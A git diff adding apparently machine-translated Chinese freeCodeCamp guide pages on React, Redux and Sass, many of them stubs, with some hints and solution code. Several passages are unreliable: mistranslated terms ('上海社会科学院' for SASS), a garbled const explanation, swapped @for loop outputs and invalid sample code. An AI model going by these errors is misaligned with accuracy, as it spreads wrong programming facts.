+现在剩下要做的就是定义我们的组件将`render` ！我们通过调用组件的`render`方法并返回我们的JSX代码来实现：
+
+```javascript
+class FirstComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return ( 
+      // The JSX code you put here is what your component will render 
+    ); 
+  } 
+ }; 
+```
+
+一旦你的JSX代码在那里，你的组件就完成了！如果你想要一个更精细的React组件教程，那么Samer Buna [写了一篇很棒的文章](https://medium.freecodecamp.org/how-to-write-your-first-react-js-component-d728d759cabc) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/write-a-simple-counter/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/write-a-simple-counter/index.md
new file mode 100644
index 0000000000..a1b5f92b3e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/write-a-simple-counter/index.md
@@ -0,0 +1,70 @@
+---
+title: Write a Simple Counter
+localeTitle: 写一个简单的计数器
+---
+## 写一个简单的计数器
+
+#### 提示1：
+
+```JSX
+class Counter extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      count: 0 
+    }; 
+    // change code below this line 
+         // Remember the previous challange. 
+         // Bind "this" for each of these three method (increment(),decrement() and reset()). 
+    // change code above this line 
+  } 
+  // change code below this line 
+         // Define these three method here. 
+         // Inside these methods, call "setState()" method to update the data of construtor`s state. 
+  // change code above this line 
+  render() { 
+    return ( 
+      <div> 
+        <button className='inc' onClick={this.increment}>Increment!</button> 
+        <button className='dec' onClick={this.decrement}>Decrement!</button> 
+        <button className='reset' onClick={this.reset}>Reset</button> 
+        <h1>Current Count: {this.state.count}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+## 解：
+
+```JSX
+class Counter extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      count: 0 
+    }; 
+    // change code below this line 
+      this.increment = this.increment.bind(this); 
+      this.decrement = this.decrement.bind(this); 
+      this.reset = this.reset.bind(this); 
+    // change code above this line 
+  } 
+  // change code below this line 
+    increment(){this.setState({count: this.state.count + 1})} 
+    decrement(){this.setState({count: this.state.count - 1})} 
+    reset(){this.setState({count: 0})} 
+  // change code above this line 
+  render() { 
+    return ( 
+      <div> 
+        <button className='inc' onClick={this.increment}>Increment!</button> 
+        <button className='dec' onClick={this.decrement}>Decrement!</button> 
+        <button className='reset' onClick={this.reset}>Reset</button> 
+        <h1>Current Count: {this.state.count}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/redux/combine-multiple-reducers/index.md b/client/src/guide/chinese/certifications/front-end-libraries/redux/combine-multiple-reducers/index.md
new file mode 100644
index 0000000000..56dca28b7a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/redux/combine-multiple-reducers/index.md
@@ -0,0 +1,9 @@
+---
+title: Combine Multiple Reducers
+localeTitle: 结合多个减速器
+---
+## 结合多个减速器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/combine-multiple-reducers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/redux/copy-an-object-with-object.assign/index.md b/client/src/guide/chinese/certifications/front-end-libraries/redux/copy-an-object-with-object.assign/index.md
new file mode 100644
index 0000000000..387b9cd2d9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/redux/copy-an-object-with-object.assign/index.md
@@ -0,0 +1,9 @@
+---
+title: Copy an Object with Object.assign
+localeTitle: 使用Object.assign复制对象
+---
+## 使用Object.assign复制对象
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/copy-an-object-with-object.assign/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/redux/create-a-redux-store/index.md b/client/src/guide/chinese/certifications/front-end-libraries/redux/create-a-redux-store/index.md
new file mode 100644
index 0000000000..5d352082d8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/redux/create-a-redux-store/index.md
@@ -0,0 +1,33 @@
+---
+title: Create a Redux Store
+localeTitle: 创建一个Redux商店
+---
+## 创建一个Redux商店
+
+这个挑战有三个部分。
+
+1.  声明一个`store`变量。
+2.  将其分配给`createStore()`方法。
+3.  传递`reducer`作为参数。
+
+### 步骤1.声明变量。
+
+```javascript
+const yourVariableName; 
+```
+
+### 第2步。将变量分配给方法。
+
+```javascript
+const yourVariableName = yourMethodName(); 
+```
+
+提示：请记住，Redux对象中提供了`createStore()`方法。例如： `Redux.createStore()`
+
+### 第3步。将参数传递给您的方法。
+
+```javascript
+const yourVariableName = yourMethodName(yourArgumentName); 
+```
+
+祝你好运！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/redux/define-a-redux-action/index.md b/client/src/guide/chinese/certifications/front-end-libraries/redux/define-a-redux-action/index.md
new file mode 100644
index 0000000000..1de6b4f093
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/redux/define-a-redux-action/index.md
@@ -0,0 +1,14 @@
+---
+title: Define a Redux Action
+localeTitle: 定义Redux动作
+---
+## 定义Redux动作
+
+以下是如何声明Redux Action。
+
+```react.js
+let action={ 
+  type: 'LOGIN' 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/redux/define-an-action-creator/index.md b/client/src/guide/chinese/certifications/front-end-libraries/redux/define-an-action-creator/index.md
new file mode 100644
index 0000000000..0921ce3d99
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/redux/define-an-action-creator/index.md
@@ -0,0 +1,30 @@
+---
+title: Define an Action Creator
+localeTitle: 定义一个Action Creator
+---
+## 定义一个Action Creator
+
+### 提示1
+
+使用以下语法定义函数：
+
+```javascript
+functionName(){ 
+  console.log("Do something"); 
+ } 
+```
+
+其中console.log可以根据需要进行更改。
+
+### 提示2
+
+使用`return`关键字返回一个值
+
+### 解
+
+```javascript
+function actionCreator(){ 
+    return action; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/redux/dispatch-an-action-event/index.md b/client/src/guide/chinese/certifications/front-end-libraries/redux/dispatch-an-action-event/index.md
new file mode 100644
index 0000000000..910e8817e5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/redux/dispatch-an-action-event/index.md
@@ -0,0 +1,12 @@
+---
+title: Dispatch an Action Event
+localeTitle: 派遣行动事件
+---
+## 派遣行动事件
+
+通过调用dispatch方法将LOGIN操作发送到Redux存储，并传入`loginAction()`创建的操作。
+
+```react.js
+store.dispatch(loginAction()); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/redux/get-state-from-the-redux-store/index.md b/client/src/guide/chinese/certifications/front-end-libraries/redux/get-state-from-the-redux-store/index.md
new file mode 100644
index 0000000000..2957e0551a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/redux/get-state-from-the-redux-store/index.md
@@ -0,0 +1,12 @@
+---
+title: Get State from the Redux Store
+localeTitle: 从Redux商店获取状态
+---
+## 从Redux商店获取状态
+
+使用`getState()`方法从存储中检索数据。
+
+```react.js
+let currentState = store.getState(); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/redux/handle-an-action-in-the-store/index.md b/client/src/guide/chinese/certifications/front-end-libraries/redux/handle-an-action-in-the-store/index.md
new file mode 100644
index 0000000000..482d6ea440
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/redux/handle-an-action-in-the-store/index.md
@@ -0,0 +1,34 @@
+---
+title: Handle an Action in the Store
+localeTitle: 处理商店中的操作
+---
+## 处理商店中的操作
+
+### 解
+
+```javascript
+const defaultState = { 
+  login: false 
+ }; 
+ 
+ const reducer = (state = defaultState, action) => { 
+  // change code below this line 
+  if (action.type === 'LOGIN') { 
+    return  { 
+    login: true 
+    } 
+    } else { 
+      return defaultState 
+  }; 
+  // change code above this line 
+ }; 
+ 
+ const store = Redux.createStore(reducer); 
+ 
+ const loginAction = () => { 
+  return { 
+    type: 'LOGIN' 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/redux/index.md b/client/src/guide/chinese/certifications/front-end-libraries/redux/index.md
new file mode 100644
index 0000000000..3b5711be1a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/redux/index.md
@@ -0,0 +1,11 @@
+---
+title: Redux
+localeTitle: 终极版
+---
+## 终极版
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/redux/never-mutate-state/index.md b/client/src/guide/chinese/certifications/front-end-libraries/redux/never-mutate-state/index.md
new file mode 100644
index 0000000000..99bb34c96b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/redux/never-mutate-state/index.md
@@ -0,0 +1,9 @@
+---
+title: Never Mutate State
+localeTitle: 从不改变国家
+---
+## 从不改变国家
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/never-mutate-state/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/redux/register-a-store-listener/index.md b/client/src/guide/chinese/certifications/front-end-libraries/redux/register-a-store-listener/index.md
new file mode 100644
index 0000000000..9bdc31ab3d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/redux/register-a-store-listener/index.md
@@ -0,0 +1,58 @@
+---
+title: Register a Store Listener
+localeTitle: 注册商店监听器
+---
+## 注册商店监听器
+
+让我们打破指示，准确找出它的要求。
+
+> _编写一个回调函数，每次商店收到一个动作时，它会递增全局变量计数，并将此函数传递给store.subscribe（）方法。_
+
+我们可以将这些步骤概括为小块：
+
+1.  写一个回调函数
+2.  增加全局变量计数
+3.  将函数传递给`store.subscribe()`方法。
+
+真棒！现在让我们再次回顾一些基础知识。
+
+### 什么是简单英语的“回调函数”？
+
+回调函数只是在执行另一个函数后调用的函数。在现实世界中，它可能是这样的：
+
+```javascript
+// You drop your car off at the mechanic and you want the shop to 'call you back' when your car is fixed. 
+ let carIsBroken = true; 
+ const callCarOwner = () => console.log('Hello your car is done!'); 
+ const fixCar = (carIsBroken, callCarOwner) => { 
+  if (carIsBroken === true) { 
+    carIsBroken = false; 
+  } 
+  console.log(carIsBroken); 
+  // After the car is fixed, the last thing we do is call the car owner - that's our 'callback function'. 
+  callCarOwner(); 
+ } 
+ fixCar(carIsBroken, callCarOwner); 
+```
+
+### 你如何增加一个数字变量？
+
+我们可以使用“+ =”运算符来完成此操作。
+
+```javascript
+let count = 1; 
+ const addOne = () => count +=1; 
+```
+
+### 如何将函数传递给方法？
+
+我们可以将函数传递给方法，就像我们可以将变量传递给方法一样。把它作为一个参数传递！
+
+```javascript
+function sayHi() { 
+  console.log('Hi!'); 
+ } 
+ store.subscribe(sayHi); 
+```
+
+想要更新吗？ [在GitHub上编辑此存根。](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/register-a-store-listener/index.md)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/redux/remove-an-item-from-an-array/index.md b/client/src/guide/chinese/certifications/front-end-libraries/redux/remove-an-item-from-an-array/index.md
new file mode 100644
index 0000000000..a7dd4d69a4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/redux/remove-an-item-from-an-array/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove an Item from an Array
+localeTitle: 从数组中删除项目
+---
+## 从数组中删除项目
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/remove-an-item-from-an-array/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/redux/send-action-data-to-the-store/index.md b/client/src/guide/chinese/certifications/front-end-libraries/redux/send-action-data-to-the-store/index.md
new file mode 100644
index 0000000000..2c8fb414cc
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/redux/send-action-data-to-the-store/index.md
@@ -0,0 +1,9 @@
+---
+title: Send Action Data to the Store
+localeTitle: 将操作数据发送到商店
+---
+## 将操作数据发送到商店
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/send-action-data-to-the-store/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/redux/use-a-switch-statement-to-handle-multiple-actions/index.md b/client/src/guide/chinese/certifications/front-end-libraries/redux/use-a-switch-statement-to-handle-multiple-actions/index.md
new file mode 100644
index 0000000000..22c9f8a89d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/redux/use-a-switch-statement-to-handle-multiple-actions/index.md
@@ -0,0 +1,11 @@
+---
+title: Use a Switch Statement to Handle Multiple Actions
+localeTitle: 使用Switch语句处理多个操作
+---
+## 使用Switch语句处理多个操作
+
+提示：确保在switch case中的return语句后不使用“break”命令。
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/use-a-switch-statement-to-handle-multiple-actions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/redux/use-const-for-action-types/index.md b/client/src/guide/chinese/certifications/front-end-libraries/redux/use-const-for-action-types/index.md
new file mode 100644
index 0000000000..3b7d27bbe9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/redux/use-const-for-action-types/index.md
@@ -0,0 +1,81 @@
+---
+title: Use const for Action Types
+localeTitle: 将const用于Action Types
+---
+## 将const用于Action Types
+
+### 使用const for Action Types比使用字符串有很大的优势。
+
+**意外错误的字符串可能会导致错误。**
+
+您可以在您的动作创建者中正确拼写`type: 'LOGIN'`但拼错`type: 'LOGN'`减速器中的`type: 'LOGN'` ，如下所示。
+```
+const loginUser = () => { 
+  return { 
+    type: 'LOGIN' 
+  } 
+ }; 
+ 
+ const authReducer = (state = defaultState, action) => { 
+ 
+  switch (action.type) { 
+ 
+    case 'LOGN': 
+      return { 
+        authenticated: true 
+      } 
+ 
+    case 'LOGOUT': 
+      return { 
+        authenticated: false 
+      } 
+ 
+    default: 
+      return state; 
+ 
+  } 
+ 
+ }; 
+```
+
+通过对Action Type使用const，如果你的字符串被拼错了也没关系，因为reducer的switch语句和Action Type都引用了相同的`const` 。使用`const`还可以引导代码编辑器在输入`const`建议`const` ，从而减少错误拼写`const`的可能性。
+
+下面显示的代码将起作用。
+```
+const LOGIN = 'blahblahblah'; 
+ const LOGOUT = 'wahwahwahwah'; 
+ 
+ const loginUser = () => { 
+  return { 
+    type: LOGIN 
+  } 
+ }; 
+ 
+ const logoutUser = () => { 
+  return { 
+    type: LOGOUT 
+  } 
+ }; 
+ 
+ const authReducer = (state = defaultState, action) => { 
+ 
+  switch (action.type) { 
+ 
+    case LOGIN: 
+      return { 
+        authenticated: true 
+      } 
+ 
+    case LOGOUT: 
+      return { 
+        authenticated: false 
+      } 
+ 
+    default: 
+      return state; 
+ 
+  } 
+ 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/redux/use-middleware-to-handle-asynchronous-actions/index.md b/client/src/guide/chinese/certifications/front-end-libraries/redux/use-middleware-to-handle-asynchronous-actions/index.md
new file mode 100644
index 0000000000..b2966d1571
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/redux/use-middleware-to-handle-asynchronous-actions/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Middleware to Handle Asynchronous Actions
+localeTitle: 使用中间件处理异步操作
+---
+## 使用中间件处理异步操作
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/use-middleware-to-handle-asynchronous-actions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/redux/use-the-spread-operator-on-arrays/index.md b/client/src/guide/chinese/certifications/front-end-libraries/redux/use-the-spread-operator-on-arrays/index.md
new file mode 100644
index 0000000000..2ed4536a3f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/redux/use-the-spread-operator-on-arrays/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Spread Operator on Arrays
+localeTitle: 在阵列上使用Spread Operator
+---
+## 在阵列上使用Spread Operator
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/use-the-spread-operator-on-arrays/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/redux/write-a-counter-with-redux/index.md b/client/src/guide/chinese/certifications/front-end-libraries/redux/write-a-counter-with-redux/index.md
new file mode 100644
index 0000000000..28ae6fb4ac
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/redux/write-a-counter-with-redux/index.md
@@ -0,0 +1,9 @@
+---
+title: Write a Counter with Redux
+localeTitle: 用Redux写一个计数器
+---
+## 用Redux写一个计数器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/write-a-counter-with-redux/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/sass/apply-a-style-until-a-condition-is-met-with-while/index.md b/client/src/guide/chinese/certifications/front-end-libraries/sass/apply-a-style-until-a-condition-is-met-with-while/index.md
new file mode 100644
index 0000000000..71048bc912
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/sass/apply-a-style-until-a-condition-is-met-with-while/index.md
@@ -0,0 +1,9 @@
+---
+title: Apply a Style Until a Condition is Met with @while
+localeTitle: 应用样式直到满足@while的条件
+---
+## 应用样式直到满足@while的条件
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/sass/apply-a-style-until-a-condition-is-met-with-while/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/sass/create-reusable-css-with-mixins/index.md b/client/src/guide/chinese/certifications/front-end-libraries/sass/create-reusable-css-with-mixins/index.md
new file mode 100644
index 0000000000..ac838a396f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/sass/create-reusable-css-with-mixins/index.md
@@ -0,0 +1,51 @@
+---
+title: Create Reusable CSS with Mixins
+localeTitle: 使用Mixins创建可重用的CSS
+---
+## 使用Mixins创建可重用的CSS
+
+`Mixin`是开发人员使用`SASS`而不是纯`CSS`的强大功能之一，因为它允许您在样式表中使用`Function` ！
+
+要创建mixin，您应该遵循以下方案：
+
+```scss
+@mixin custom-mixin-name($param1, $param2, ....) { 
+    // CSS Properties Here... 
+ } 
+```
+
+要在元素中使用它，您应该使用`@include`后跟您的`Mixin`名称，如下所示：
+
+```scss
+element { 
+    @include custom-mixin-name(value1, value2, ....); 
+ } 
+```
+
+* * *
+
+### \[示例\]在`SASS`写入`Text Shadow`
+
+**目标：**将自定义`Text Shadow`应用于`h4`元素
+
+#### HTML
+
+```html
+
+<h4>This text needs a Shadow!</h4> 
+```
+
+#### SASS _（用SCSS语法编写）_
+
+```scss
+@mixin custom-text-shadow($offsetX, $offsetY, $blurRadius, $color) { 
+    -webkit-text-shadow: $offsetX, $offsetY, $blurRadius, $color; 
+    -moz-text-shadow: $offsetX, $offsetY, $blurRadius, $color; 
+    -ms-text-shadow: $offsetX, $offsetY, $blurRadius, $color; 
+    text-shadow: $offsetX, $offsetY, $blurRadius, $color; 
+ } 
+ h2 { 
+    @include custom-text-shadow(1px, 3px, 5px, #999999) 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/sass/extend-one-set-of-css-styles-to-another-element/index.md b/client/src/guide/chinese/certifications/front-end-libraries/sass/extend-one-set-of-css-styles-to-another-element/index.md
new file mode 100644
index 0000000000..db1a557050
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/sass/extend-one-set-of-css-styles-to-another-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Extend One Set of CSS Styles to Another Element
+localeTitle: 将一组CSS样式扩展到另一个元素
+---
+## 将一组CSS样式扩展到另一个元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/sass/extend-one-set-of-css-styles-to-another-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/sass/index.md b/client/src/guide/chinese/certifications/front-end-libraries/sass/index.md
new file mode 100644
index 0000000000..ea8c8f362c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/sass/index.md
@@ -0,0 +1,11 @@
+---
+title: SASS
+localeTitle: 上海社会科学院
+---
+## 上海社会科学院
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/sass/nest-css-with-sass/index.md b/client/src/guide/chinese/certifications/front-end-libraries/sass/nest-css-with-sass/index.md
new file mode 100644
index 0000000000..37243ad190
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/sass/nest-css-with-sass/index.md
@@ -0,0 +1,44 @@
+---
+title: Nest CSS with Sass
+localeTitle: 使用Sass嵌套CSS
+---
+## 使用Sass嵌套CSS
+
+*   在Sass中，嵌套CSS规则允许定义层次结构选择器。
+*   您可以通过嵌套CSS规则来组织样式表。
+
+## 例
+
+```sass
+.title{ 
+  strong{} 
+  em{} 
+ } 
+ 
+ // This will be compiled into: 
+ 
+ .title{} 
+ .title strong{} 
+ .title em{} 
+```
+
+## 提示1：
+
+*   您可能想要在第4行更改“}”的位置。
+
+## 解
+
+```sass
+<style type='text/sass'> 
+  .blog-post { 
+    h1 { 
+     text-align: center; 
+     color: blue; 
+    } 
+    p { 
+        font-size: 20px; 
+    } 
+  } 
+ </style> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/sass/split-your-styles-into-smaller-chunks-with-partials/index.md b/client/src/guide/chinese/certifications/front-end-libraries/sass/split-your-styles-into-smaller-chunks-with-partials/index.md
new file mode 100644
index 0000000000..ee5772798a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/sass/split-your-styles-into-smaller-chunks-with-partials/index.md
@@ -0,0 +1,9 @@
+---
+title: Split Your Styles into Smaller Chunks with Partials
+localeTitle: 使用Partials将您的样式拆分为较小的块
+---
+## 使用Partials将您的样式拆分为较小的块
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/sass/split-your-styles-into-smaller-chunks-with-partials/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/sass/store-data-with-sass-variables/index.md b/client/src/guide/chinese/certifications/front-end-libraries/sass/store-data-with-sass-variables/index.md
new file mode 100644
index 0000000000..80e599963c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/sass/store-data-with-sass-variables/index.md
@@ -0,0 +1,22 @@
+---
+title: Store Data with Sass Variables
+localeTitle: 使用Sass变量存储数据
+---
+## 使用Sass变量存储数据
+
+## 解
+
+```javascript
+<style type='text/sass'> 
+ 
+  $text-color: red; // Declaration of the variable "text-color". 
+ 
+  .header{ 
+    text-align: center; 
+  } 
+  .blog-post, h2 { 
+    color: $text-color; // Changing the value of color with the value of "text-color". 
+  } 
+ </style> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/sass/use-each-to-map-over-items-in-a-list/index.md b/client/src/guide/chinese/certifications/front-end-libraries/sass/use-each-to-map-over-items-in-a-list/index.md
new file mode 100644
index 0000000000..c10938a394
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/sass/use-each-to-map-over-items-in-a-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Use @each to Map Over Items in a List
+localeTitle: 使用@each映射列表中的项目
+---
+## 使用@each映射列表中的项目
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/sass/use-each-to-map-over-items-in-a-list/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/sass/use-for-to-create-a-sass-loop/index.md b/client/src/guide/chinese/certifications/front-end-libraries/sass/use-for-to-create-a-sass-loop/index.md
new file mode 100644
index 0000000000..1722620369
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/sass/use-for-to-create-a-sass-loop/index.md
@@ -0,0 +1,66 @@
+---
+title: Use @for to Create a Sass Loop
+localeTitle: 使用@for创建Sass循环
+---
+## 使用@for创建Sass循环
+
+1.  SASS中`@for`循环的基本语法：
+
+*   For - through循环：
+
+```sass
+@for $i from <start number> through <end number> { 
+  // some CSS 
+ } 
+```
+
+*   For - to循环：
+
+```sass
+@for $i from <start number> to <end number> { 
+  // some CSS 
+ } 
+```
+
+请注意，主要区别在于“开始结束” **排除**了结束编号，“从头开始” **包括**结束编号。
+
+2.  例如：
+
+*   For - through循环：
+
+```sass
+@for $i from 1 through 3 { 
+  // some CSS 
+ } 
+ 
+ // 1 2 
+```
+
+*   For - to循环：
+
+```sass
+@for $i from 1 to 3 { 
+  // some CSS 
+ } 
+ 
+ // 1 2 3 
+```
+
+3.  [SASS指南的指南](https://sass-guidelin.es/#loops)
+
+与CSS' `:nth-*`伪类结合使用时， `@for`循环可能很有用。除了这些场景之外，如果必须迭代某些东西，则更喜欢`@each`循环。
+
+```sass
+@for $i from 1 through 10 { 
+  .foo:nth-of-type(#{$i}) { 
+    border-color: hsl($i * 36, 50%, 50%); 
+  } 
+ } 
+```
+
+总是使用`$i`作为变量名称来坚持通常的约定，除非你有充分的理由，不要使用to关键字：始终使用。许多开发人员甚至不知道Sass提供这种变化;使用它可能会导致混淆。
+
+另外，请务必遵守这些准则以保持可读性：
+
+*   在`@for`之前总是一个空的新行;
+*   除非下一行是右括号（}），否则在右大括号（}）之后总是一个空的新行。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/sass/use-if-and-else-to-add-logic-to-your-styles/index.md b/client/src/guide/chinese/certifications/front-end-libraries/sass/use-if-and-else-to-add-logic-to-your-styles/index.md
new file mode 100644
index 0000000000..0cee78481c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/sass/use-if-and-else-to-add-logic-to-your-styles/index.md
@@ -0,0 +1,9 @@
+---
+title: Use @if and @else to Add Logic To Your Styles
+localeTitle: 使用@if和@else将逻辑添加到您的样式
+---
+## 使用@if和@else将逻辑添加到您的样式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/sass/use-if-and-else-to-add-logic-to-your-styles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/index.md b/client/src/guide/chinese/certifications/index.md
new file mode 100644
index 0000000000..10233c9a88
--- /dev/null
+++ b/client/src/guide/chinese/certifications/index.md
@@ -0,0 +1,30 @@
+---
+title: Certifications
+localeTitle: 认证
+---
+## 认证
+
+### 概观
+
+有六个freeCodeCamp证书：
+
+*   响应式网页设计
+*   算法和数据结构
+*   前端库
+*   数据可视化
+*   API和微服务
+*   信息安全和质量保证
+
